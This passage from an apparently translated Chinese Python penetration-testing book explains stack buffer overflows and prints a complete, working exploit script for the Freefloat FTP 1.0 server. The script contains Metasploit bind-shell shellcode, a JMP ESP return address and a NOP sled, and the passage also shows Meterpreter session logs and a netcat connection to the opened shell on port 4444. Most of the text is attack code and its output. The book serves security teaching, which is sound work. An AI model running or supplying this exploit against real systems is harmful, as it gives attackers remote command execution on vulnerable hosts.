到目前為止我們利用的都是已知的方法攻擊的。然而,沒有已知的攻擊方法的目標主機怎么辦?你怎樣建立你自己的0day攻擊?在接下來的章節中,我們我們將建立我們自己的0day攻擊。
```
attacker# python conficker.py -H 192.168.1.30-50 -l 192.168.1.3 -F
passwords.txt
[+] Found Target Host: 192.168.1.35
[+] Found Target Host: 192.168.1.37
[+] Found Target Host: 192.168.1.42
[+] Found Target Host: 192.168.1.45
[+] Found Target Host: 192.168.1.47
<..SNIPPED..>
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.37
[*] Meterpreter session 1 opened (192.168.1.3:1337 -> 192.168.1.37:1087) at Sat Jun 23 16:25:05 -0700 2012
<..SNIPPED..>
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.42
[*] Meterpreter session 1 opened (192.168.1.3:1337 -> 192.168.1.42:1094) at Sat Jun 23 15:25:09 -0700 2012
```
## 編寫你自己的0day POC代碼
上一節的Conficker蠕蟲利用的是堆棧溢出漏洞。Metasploit框架包含了幾百種獨一無二的exploit,你可能碰到要你自己寫的遠程代碼執行的exploit的代碼。這一節我們將講解怎樣用Python簡化這一過程。為了做到這些,我們要開始講解緩沖區溢出的知識。
Morris蠕蟲成功的部分原因是Finger服務的堆棧緩沖區溢出的漏洞利用。這類攻擊的成功是因為程序驗證用戶輸入的失敗所導致。盡管Morris蠕蟲在1988年利用了堆棧緩沖區溢出漏洞,直到1996年Elias Levy才發表了一篇學術論文為“Smashing the Stack for Fun and Profit”在Phrack雜志上。如果你對堆棧緩沖區溢出攻擊的原理不熟悉的話,想了解更多,可以仔細閱讀這篇文章。就我們的目的而言,我們會花時間講解堆棧緩沖區溢出攻擊的關鍵技術。
## 基于堆棧的緩沖區溢出攻擊
對于堆棧緩沖區溢出來說,未經檢查的用戶數據覆蓋了下一個指令EIP從而控制程序的流程。Exploit直接將EIP寄存器指向攻擊者插入ShellCode的位置。一系列的機器代碼ShellCode能允許exploit在目標系統里增加用戶,連接攻擊者或者下載一個獨立的可執行文件。ShellCode有無盡的可能性存在,完全取決于內存空間的大小。
在存在很多種編寫exploit方法的今天,基于堆棧緩沖區溢出的方法提供了原始的exploit向量。而且大量的exploit還在增加。2011年7月,我的一個朋友發布了一個針對脆弱的FTP服務器的exploit。雖然開發exploit似乎是一個很復雜的任務,但實際的攻擊代碼卻少于80行(包含約30行的shell代碼)。
## 添加攻擊的關鍵元素
讓我們開始構建我們的exploit的關鍵元素。首先我們設置我們的shellcode變量包含Metasploit框架為我們生成的十六進制編碼的攻擊荷載。接下來我們設置我們的溢出變量包含246個字母A的實例(16進制為`\x41`)。我們返回的地址變量指向一個`kernel.dll`地址,包含了一個直接跳到棧頂端的指令。我們填充包含一系列150個`NOP`指令的變量。這構建了我們的NOP滑鏟。最后我們集合所有的變量組成一個變量,我們稱為碰撞。
## 基于堆棧緩沖區溢出exploit的基本要素
溢出:用戶的輸入超過了預期在棧中分配的值。
返回地址:被用來直接跳轉到棧頂端的4個字節的地址。在接下來的exploit中,我們用4個字節的地址指向`kernel.dll`的`JMP ESP`指令。
填充物:在shellcode之前的一系列的`NOP`(空指令)指令。允許攻擊者猜測直接跳到的地址。如果攻擊者跳到`NOP`滑鏟的任何地方,它將直接滑到shellcode。
Shellcode:一小段匯編機器碼。在下面的例子中,我們將利用Metasploit生成Shellcode代碼。
```
shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9"
"\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f"
"\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8"
"\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7"
"\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5"
"\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c"
"\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"
"\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49"
"\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"
"\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82"
"\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf"
"\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41"
"\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f"
"\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a"
"\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b"
"\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a"
"\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"
"\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea"
"\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8"
"\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6"
"\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea"
"\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30"
"\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53"
"\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85"
"\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25"
"\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10"
"\xba\x1e\x53\x31")
overflow = "\x41" * 246
ret = struct.pack('<L', 0x7C874413) #7C874413 JMP ESP kernel32.dll
padding = "\x90" * 150
crash = overflow + ret + padding + shellcode
```
## 發送exploit
使用伯克利套接字API,我們將創建一個到我們目標主機21端口的TCP連接。如果連接成功,我們將通過發送匿名的用戶名和 密碼的到了主機的認證。最后我們將發送FTP命令“RETR”緊接著是我們的碰撞變量。由于受影響的程序沒有正確的過濾用戶的輸入,這將導致堆棧的緩沖區溢出覆蓋了EIP寄存器允許我們的程序直接跳到并執行我們的Shellcode代碼。
```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((target, 21))
except:
print "[-] Connection to "+target+" failed!"
sys.exit(0)
print("[*] Sending " + 'len(crash)' + " " + command +" byte crash...")
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS \r\n")
s.recv(1024)
s.send("RETR" +" " + crash + "\r\n")
time.sleep(4)
```
## 整合整個exploit腳本
把所有的代碼整合在一起,我們有Craig Freyman發布的原始的exploit。
```
#!/usr/bin/Python
# coding=UTF-8
#Title: Freefloat FTP 1.0 Non Implemented Command Buffer Overflows
#Author: Craig Freyman (@cd1zz)
#Date: July 19, 2011
#Tested on Windows XP SP3 English
#Part of FreeFloat pwn week
#Vendor Notified: 7-18-2011 (no response)
#Software Link:http://www.freefloat.com/sv/freefloat-ftp-server/freefloat-ftp-server.php
import socket, sys, time, struct
if len(sys.argv) < 2:
print "[-]Usage:%s <target addr> <command>"% sys.argv[0] + "\r"
print "[-]For example [filename.py 192.168.1.10 PWND] would do the trick."
print "[-]Other options: AUTH, APPE, ALLO, ACCT"
sys.exit(0)
target = sys.argv[1]
command = sys.argv[2]
if len(sys.argv) > 2:
platform = sys.argv[2]
#./msfpayload windows/shell_bind_tcp r | ./msfencode -e x86/shikata_ga_nai -b "\x00\xff\x0d\x0a\x3d\x20"
#[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9"
"\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f"
"\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8"
"\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7"
"\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5"
"\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c"
"\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"
"\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49"
"\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"
"\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82"
"\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf"
"\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41"
"\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f"
"\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a"
"\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b"
"\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a"
"\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"
"\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea"
"\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8"
"\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6"
"\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea"
"\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30"
"\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53"
"\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85"
"\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25"
"\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10"
"\xba\x1e\x53\x31")
#7C874413 FFE4 JMP ESP kernel32.dll
ret = struct.pack('<L', 0x7C874413)
padding = "\x90" * 150
crash = "\x41" * 246 + ret + padding + shellcode
print "\
[*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow\n\
[*] Author: Craig Freyman (@cd1zz)\n\
[*] Connecting to "+target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((target, 21))
except:
print("[-] Connection to "+target+" failed!")
sys.exit(0)
print("[*] Sending " + 'len(crash)' + " " + command +" byte crash...")
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS \r\n")
s.recv(1024)
s.send(command +" " + crash + "\r\n")
time.sleep(4)
```
下載并復制一個FreeFloat FTP到Windows XP SP2或者Windows XP SP3的電腦上之后,我們可以測試 Craig Freyman的exploit。注意,他用的shellcode是綁定了TCP端口4444的脆弱的目標。所以我們可以運行我們的exploit腳本或者`netcat`連接到目標主機的4444端口。如果一切都成功了,現在我們已經獲取了目標主機的命令行提示。
```
attacker$ python freefloat2-overflow.py 192.168.1.37 PWND
[*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow
[*] Author: Craig Freyman (@cd1zz)
[*] Connecting to 192.168.1.37
[*] Sending 768 PWND byte crash...
attacker$ nc 192.168.1.37 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop\>
```
## 本章總結
恭喜你!在我們的滲透測試中我們可以使用我們自己編寫的工具。我們通過編寫我們自己的端口掃描器開始,然后審查SSH,FTP,SMB協議的攻擊方法,最后我們用Python構建了我們自己的0day exploit。
我希望你在無窮無盡的滲透測試中自己編寫代碼。為了推進和提高我們的滲透測試,我們已經展示了Python腳本背后的基礎知識。現在我們有一個更好的了解Python的機會,讓我們研究一下怎樣編寫用于法庭調查取證的腳本。